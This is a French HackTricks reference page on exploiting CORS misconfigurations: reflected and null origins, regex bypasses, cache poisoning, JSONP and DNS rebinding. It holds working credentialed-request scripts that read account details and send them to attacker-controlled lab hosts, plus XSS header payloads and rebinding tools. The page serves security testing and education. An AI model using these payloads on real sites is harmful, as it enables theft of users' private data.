28 KiB
CORS - Mauvaises configurations & Contournement
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Qu'est-ce que CORS ?
La norme CORS (Cross-origin resource sharing) est nécessaire car elle permet aux serveurs de spécifier qui peut accéder à ses ressources et quelles méthodes de requête HTTP sont autorisées depuis des ressources externes.
Une politique de même origine exige que le serveur demandant une ressource et le serveur où se trouve la ressource utilisent le même protocole (http://),domain (internal-web.com) et le même port (80). Ainsi, si le serveur impose la politique de même origine, seules les pages web du même domaine et port pourront accéder aux ressources.
Le tableau suivant montre comment la politique de même origine sera appliquée dans http://normal-website.com/example/example.html
:
URL accédée | Accès autorisé ? |
---|---|
http://normal-website.com/example/ |
Oui : même schéma, domaine et port |
http://normal-website.com/example2/ |
Oui : même schéma, domaine et port |
https://normal-website.com/example/ |
Non : schéma et port différents |
http://en.normal-website.com/example/ |
Non : domaine différent |
http://www.normal-website.com/example/ |
Non : domaine différent |
http://normal-website.com:8080/example/ |
Non : port différent* |
*Internet Explorer autorisera cet accès car IE ne tient pas compte du numéro de port lors de l'application de la politique de même origine.
En-tête Access-Control-Allow-Origin
La spécification de Access-Control-Allow-Origin
permet plusieurs origines, ou la valeur null
, ou le joker *
. Cependant, aucun navigateur ne prend en charge plusieurs origines et il existe des restrictions sur l'utilisation du joker *
.(Le joker ne peut être utilisé seul, cela échouera Access-Control-Allow-Origin: https://*.normal-website.com
et il ne peut pas être utilisé avec Access-Control-Allow-Credentials: true)
Cet en-tête est retourné par un serveur lorsqu'un site web demande une ressource cross-domain, avec un en-tête Origin
ajouté par le navigateur.
En-tête Access-Control-Allow-Credentials
Le comportement par défaut des requêtes de ressources cross-origin est que les requêtes soient transmises sans identifiants comme les cookies et l'en-tête d'autorisation. Cependant, le serveur cross-domain peut permettre la lecture de la réponse lorsque les identifiants sont transmis en définissant l'en-tête CORS Access-Control-Allow-Credentials
à true
.
Si la valeur est définie sur true
, alors le navigateur enverra des identifiants (cookies, en-têtes d'autorisation ou certificats clients TLS).
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
Requête préalable (pre-flight)
Dans certaines circonstances, lorsqu'une requête inter-domaines :
- inclut une méthode HTTP non standard (HEAD, GET, POST)
- inclut de nouveaux en-têtes
- inclut une valeur spéciale de l'en-tête Content-Type
{% hint style="info" %} Vérifiez dans ce lien les conditions d'une requête pour éviter l'envoi d'une requête préalable (pre-flight) {% endhint %}
la requête inter-origines est précédée par une requête utilisant la méthode OPTIONS
, et le protocole CORS nécessite une vérification initiale sur quelles méthodes et quels en-têtes sont autorisés avant de permettre la requête inter-origines. Cela s'appelle la vérification préalable (pre-flight check). Le serveur retourne une liste des méthodes autorisées en plus de l'origine de confiance et le navigateur vérifie si la méthode du site web demandeur est autorisée.
{% hint style="danger" %} Notez que même si une requête préalable n'est pas envoyée parce que les conditions de la "requête régulière" sont respectées, la réponse doit contenir les en-têtes d'autorisation ou le navigateur ne pourra pas lire la réponse de la requête. {% endhint %}
Par exemple, voici une requête préalable qui cherche à utiliser la méthode PUT
avec un en-tête de requête personnalisé appelé Special-Request-Header
:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
Le serveur pourrait renvoyer une réponse comme la suivante :
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers
En-têtes autorisésAccess-Control-Expose-Headers
Access-Control-Max-Age
Définit un délai maximal pour la mise en cache de la réponse de pré-vol pour réutilisationAccess-Control-Request-Headers
L'en-tête que la requête cross-origin souhaite envoyerAccess-Control-Request-Method
La méthode que la requête cross-origin souhaite utiliserOrigin
Origine de la requête cross-origin (Défini automatiquement par le navigateur)
Notez que généralement (selon le content-type et les en-têtes définis) dans une requête GET/POST, aucune requête de pré-vol n'est envoyée (la requête est envoyée directement), mais si vous voulez accéder aux en-têtes/corps de la réponse, elle doit contenir un en-tête Access-Control-Allow-Origin qui le permet.
Par conséquent, CORS ne protège pas contre les CSRF (mais cela peut être utile).
Requêtes de réseau local Requête de pré-vol
Lorsqu'une requête est envoyée à une adresse IP de réseau local, 2 en-têtes CORS supplémentaires sont envoyés :
- L'en-tête de requête client
Access-Control-Request-Local-Network
indique que la requête est une requête de réseau local - L'en-tête de réponse serveur
Access-Control-Allow-Local-Network
indique qu'une ressource peut être partagée en toute sécurité avec des réseaux externes
Une réponse valide permettant la requête de réseau local doit également avoir dans la réponse l'en-tête Access-Controls-Allow-Local_network: true
:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
{% hint style="warning" %} Notez que l'adresse IP 0.0.0.0 sous Linux fonctionne pour contourner ces exigences pour accéder à localhost car cette adresse IP n'est pas considérée comme "locale".
Il est également possible de contourner les exigences du réseau local si vous utilisez l'adresse IP publique d'un point de terminaison local (comme l'adresse IP publique du routeur). Car dans plusieurs occasions, même si l'adresse IP publique est accédée, si c'est depuis le réseau local, l'accès sera accordé.
{% endhint %}
Configurations exploitables
Remarquez que la plupart des attaques réelles nécessitent que Access-Control-Allow-Credentials
soit défini sur true
car cela permettra au navigateur d'envoyer les identifiants et de lire la réponse. Sans identifiants, de nombreuses attaques deviennent sans objet ; cela signifie que vous ne pouvez pas utiliser les cookies d'un utilisateur, donc il n'y a souvent rien à gagner à faire émettre la requête par leur navigateur plutôt que de la faire vous-même.
Une exception notable est lorsque la localisation réseau de la victime fonctionne comme une sorte d'authentification. Vous pouvez utiliser le navigateur d'une victime comme un proxy pour contourner l'authentification basée sur l'IP et accéder aux applications de l'intranet. En termes d'impact, cela est similaire au DNS rebinding, mais beaucoup moins compliqué à exploiter.
Origin
reflété dans Access-Control-Allow-Origin
Dans le monde réel, cela ne peut pas arriver car ces 2 valeurs des en-têtes sont interdites ensemble.
Il est également vrai que beaucoup de développeurs veulent permettre plusieurs URL dans le CORS, mais les jokers de sous-domaines ou les listes d'URL ne sont pas autorisés. Ensuite, plusieurs développeurs génèrent l'en-tête **Access-Control-Allow-Origin
** dynamiquement, et dans plus d'une occasion, ils copient simplement la valeur de l'en-tête Origin.
Dans ce cas, la même vulnérabilité pourrait être exploitée.
Dans d'autres cas, le développeur pourrait vérifier que le domaine (victimdomain.com) apparaît dans l'en-tête Origin, alors, un attaquant peut utiliser un domaine appelé attackervictimdomain.com
pour voler les informations confidentielles.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
L'origine null
null
est une valeur spéciale pour l'en-tête Origin. La spécification mentionne qu'elle est déclenchée par des redirections et des fichiers HTML locaux. Certaines applications peuvent autoriser l'origine null
pour soutenir le développement local de l'application.
C'est intéressant car plusieurs applications autoriseront cette valeur dans le CORS et n'importe quel site web peut facilement obtenir l'origine null en utilisant un iframe sandboxé :
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Contournements Regexp
Si vous avez trouvé que le domaine victim.com est autorisé, vous devriez vérifier si victim.com.attacker.com est également autorisé, ou, dans le cas où vous pouvez prendre le contrôle d'un sous-domaine, vérifier si somesubdomain.victim.com est autorisé.
Contournements Regexp avancés
La plupart des regex utilisées pour identifier le domaine à l'intérieur de la chaîne se concentrent sur les caractères ASCII alphanumériques et .-
. Ainsi, quelque chose comme victimdomain.com{.attacker.com
dans l'en-tête Origin sera interprété par la regexp comme si le domaine était victimdomain.com
mais le navigateur (dans ce cas Safari supporte ce caractère dans le domaine) accédera au domaine attacker.com
.
Le caractère _
(dans les sous-domaines) est non seulement pris en charge dans Safari, mais aussi dans Chrome et Firefox !
En utilisant l'un de ces sous-domaines, vous pourriez contourner certaines regex "communes" pour trouver le domaine principal d'une URL.
Pour plus d'informations et de paramètres sur ce contournement, consultez : https://www.corben.io/advanced-cors-techniques/ et https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
Depuis un XSS à l'intérieur d'un sous-domaine
Un mécanisme de défense que les développeurs utilisent contre l'exploitation CORS consiste à autoriser les domaines qui demandent fréquemment l'accès aux informations. Cependant, cela n'est pas entièrement sécurisé, car si un seul des sous-domaines du domaine autorisé est vulnérable à d'autres exploits tels que XSS, cela peut permettre l'exploitation CORS.
Prenons un exemple, le code suivant montre la configuration qui permet aux sous-domaines de requester.com d'accéder aux ressources de provider.com.
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}
Empoisonnement du cache côté serveur
Si les étoiles sont alignées, nous pourrions utiliser l'empoisonnement du cache côté serveur via l'injection d'en-tête HTTP pour créer une vulnérabilité XSS stockée.
Si une application réfléchit l'en-tête Origin sans même le vérifier pour des caractères illégaux comme , nous avons effectivement une vulnérabilité d'injection d'en-tête HTTP contre les utilisateurs d'Internet Explorer et Edge car Internet Explorer et Edge considèrent \r (0x0d) comme un terminateur d'en-tête HTTP valide : GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer voit la réponse comme :
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
Ceci n'est pas directement exploitable car il n'y a aucun moyen pour un attaquant de faire envoyer un tel en-tête malformé par le navigateur web de quelqu'un, mais je peux fabriquer manuellement cette requête dans Burp Suite et un cache côté serveur peut enregistrer la réponse et la servir à d'autres personnes. Le payload que j'ai utilisé changera le jeu de caractères de la page en UTF-7, qui est notoirement utile pour créer des vulnérabilités XSS.
Empoisonnement du cache côté client
Vous avez peut-être occasionnellement rencontré une page avec XSS reflété dans un en-tête HTTP personnalisé. Disons qu'une page web réfléchit le contenu d'un en-tête personnalisé sans encodage :
GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert\(1\)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert\(1\)>\
Avec CORS, nous pouvons envoyer n'importe quelle valeur dans l'en-tête. En soi, cela est inutile puisque la réponse contenant notre JavaScript injecté ne sera pas rendue. Cependant, si Vary: Origin n'a pas été spécifié, la réponse peut être stockée dans le cache du navigateur et affichée directement lorsque le navigateur navigue vers l'URL associée. J'ai créé un fiddle pour tenter cette attaque sur une URL de votre choix. Comme cette attaque utilise le cache côté client, elle est en fait assez fiable.
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>
Contournement
XSSI (Cross-Site Script Inclusion) / JSONP
XSSI désigne un type de vulnérabilité qui exploite le fait que, lorsqu'une ressource est incluse en utilisant la balise script
, la SOP ne s'applique pas, car les scripts doivent pouvoir être inclus de manière trans-domaine. Un attaquant peut donc lire tout ce qui a été inclus en utilisant la balise script
.
Cela est particulièrement intéressant dans le cas de JavaScript dynamique ou JSONP lorsque des informations d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Les cookies sont inclus lors de la demande d'une ressource depuis un hôte différent. Plugin BurpSuite : https://github.com/kapytein/jsonp
En savoir plus sur les différents types de XSSI et comment les exploiter ici.
Essayez d'ajouter un paramètre callback
dans la requête. Peut-être que la page a été préparée pour envoyer les données en tant que JSONP. Dans ce cas, la page renverra les données avec Content-Type: application/javascript
ce qui contournera la politique CORS.
Contournement facile (inutile ?)
Vous pouvez demander à une application web de faire une requête pour vous et de renvoyer la réponse. Cela contournera le Access-Control-Allow-Origin
mais notez que les identifiants de la victime finale ne seront pas envoyés car vous serez en contact avec un domaine différent (celui qui fera la requête pour vous).
CORS-escape fournit un proxy qui transmet notre requête avec ses en-têtes, et il falsifie également l'en-tête Origin (Origin = domaine demandé). Ainsi, la politique CORS est contournée.
Le code source est sur Github, vous pouvez donc héberger le vôtre.
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
Le proxy est un peu comme "transmettre" votre requête, exactement telle que vous l'avez envoyée. Nous pourrions résoudre cela d'une manière alternative qui implique toujours que quelqu'un d'autre fasse la requête pour vous, mais cette fois, au lieu de transmettre votre requête, le serveur fait sa propre requête, mais avec les paramètres que vous avez spécifiés.
Iframe + Popup Bypass
Vous pouvez contourner les vérifications CORS telles que e.origin === window.origin
en créant un iframe et en ouvrant une nouvelle fenêtre à partir de celui-ci. Plus d'informations sur la page suivante :
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
DNS Rebinding via TTL
En gros, vous faites en sorte que la victime accède à votre page, puis vous changez le DNS de votre domaine (l'IP) et vous le faites pointer vers la page web de votre victime. Vous faites exécuter quelque chose à votre victime (JS) lorsque le TTL est terminé afin qu'une nouvelle requête DNS soit effectuée et que vous puissiez alors recueillir les informations (comme vous maintiendrez toujours l'utilisateur dans votre domaine, il n'enverra aucun cookie au serveur de la victime, donc cette option abuse des privilèges spéciaux de l'IP de la victime).
Même si vous définissez le TTL très bas (0 ou 1), les navigateurs ont un cache qui vous empêchera d'abuser de cela pendant plusieurs secondes/minutes.
Ainsi, cette technique est utile pour contourner les vérifications explicites (la victime effectue explicitement une requête DNS pour vérifier l'IP du domaine et lorsque le bot est appelé, il fera sa propre requête).
Ou lorsque vous pouvez avoir un utilisateur/bot sur la même page pendant longtemps (afin que vous puissiez attendre jusqu'à ce que le cache expire).
Si vous avez besoin de quelque chose de rapide pour abuser de cela, vous pouvez utiliser un service comme https://lock.cmpxchg8b.com/rebinder.html.
Si vous souhaitez exécuter votre propre serveur de rebinding DNS, vous pouvez utiliser quelque chose comme DNSrebinder, puis exposer votre port local 53/udp, créer un enregistrement A pointant vers celui-ci (ns.example.com), et créer un enregistrement NS pointant vers le sous-domaine A précédemment créé(ns.example.com).
Ensuite, tout sous-domaine de ce sous-domaine (ns.example.com), sera résolu par votre hôte.
Consultez également le serveur public en cours d'exécution sur http://rebind.it/singularity.html
DNS Rebinding via Inondation du Cache DNS
Comme expliqué dans la section précédente, les navigateurs conservent les IPs des domaines en cache plus longtemps que ce qui est spécifié dans le TTL. Cependant, il existe un moyen de contourner cette défense.
Vous pouvez avoir un service worker qui va inonder le cache DNS pour forcer une seconde requête DNS. Le flux sera donc le suivant :
- La requête DNS répond avec l'adresse de l'attaquant
- Le service worker inonde le cache DNS (le nom du serveur attaquant mis en cache est supprimé)
- Une seconde requête DNS répond cette fois avec 127.0.0.1
Le bleu représente la première requête DNS et l'orange représente l'inondation.
DNS Rebinding via Cache
Comme expliqué dans la section précédente, les navigateurs conservent les IPs des domaines en cache plus longtemps que ce qui est spécifié dans le TTL. Cependant, il existe une autre façon de contourner cette défense.
Vous pouvez créer 2 enregistrements A (ou 1 avec 2 IPs, selon le fournisseur) pour le même sous-domaine chez le fournisseur DNS et lorsque le navigateur les vérifie, il obtiendra les deux.
Maintenant, si le navigateur décide d'utiliser d'abord l'adresse IP de l'attaquant, l'attaquant pourra servir le payload qui effectuera des requêtes HTTP vers le même domaine. Cependant, maintenant que l'attaquant connaît l'IP de la victime, il cessera de répondre au navigateur de la victime.
Lorsque le navigateur constate que le domaine ne lui répond pas, il utilisera la seconde IP donnée, il accédera donc à un endroit différent en contournant la SOP. L'attaquant peut abuser de cela pour obtenir les informations et les exfiltrer.
{% hint style="warning" %}
Notez que pour accéder à localhost, vous devriez essayer de relier 127.0.0.1 sur Windows et 0.0.0.0 sur Linux.
Des fournisseurs tels que GoDaddy ou Cloudflare ne m'ont pas permis d'utiliser l'IP 0.0.0.0, mais AWS Route 53 m'a permis de créer un enregistrement A avec 2 IPs, l'une d'elles étant "0.0.0.0"
Pour plus d'informations, vous pouvez consulter https://unit42.paloaltonetworks.com/dns-rebinding/
Autres Contournements Courants
- Si les IPs internes ne sont pas autorisées, ils peuvent oublier d'interdire 0.0.0.0 (fonctionne sur Linux et Mac)
- Si les IPs internes ne sont pas autorisées, répondez avec un CNAME vers localhost (fonctionne sur Linux et Mac)
- Si les IPs internes ne sont pas autorisées comme réponses DNS, vous pouvez répondre avec des CNAMEs vers des services internes tels que www.corporate.internal.
DNS Rebidding Armé
Vous pouvez trouver plus d'informations sur les techniques de contournement précédentes et comment utiliser l'outil suivant dans la conférence Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.
Singularity of Origin
est un outil pour effectuer des attaques de DNS rebinding. Il comprend les composants nécessaires pour relier l'adresse IP du nom de domaine du serveur d'attaque à l'adresse IP de la machine cible et pour servir des payloads d'attaque pour exploiter les logiciels vulnérables sur la machine cible.
Protection Réelle contre le DNS Rebinding
- Utilisez TLS dans les services internes
- Demandez une authentification pour accéder aux données
- Validez l'en-tête Host
- https://wicg.github.io/private-network-access/ : Proposition d'envoyer toujours une requête préalable lorsque les serveurs publics veulent accéder aux serveurs internes
Outils
Fuzz les configurations erronées possibles dans les politiques CORS
- https://github.com/chenjj/CORScanner
- https://github.com/lc/theftfuzzer
- https://github.com/s0md3v/Corsy
- https://github.com/Shivangx01b/CorsMe
Références
{% embed url="https://portswigger.net/web-security/cors" %}
{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}
{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}
{% embed url="https://www.codecademy.com/articles/what-is-cors" %}
{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}
{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}
{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux repos github HackTricks et HackTricks Cloud.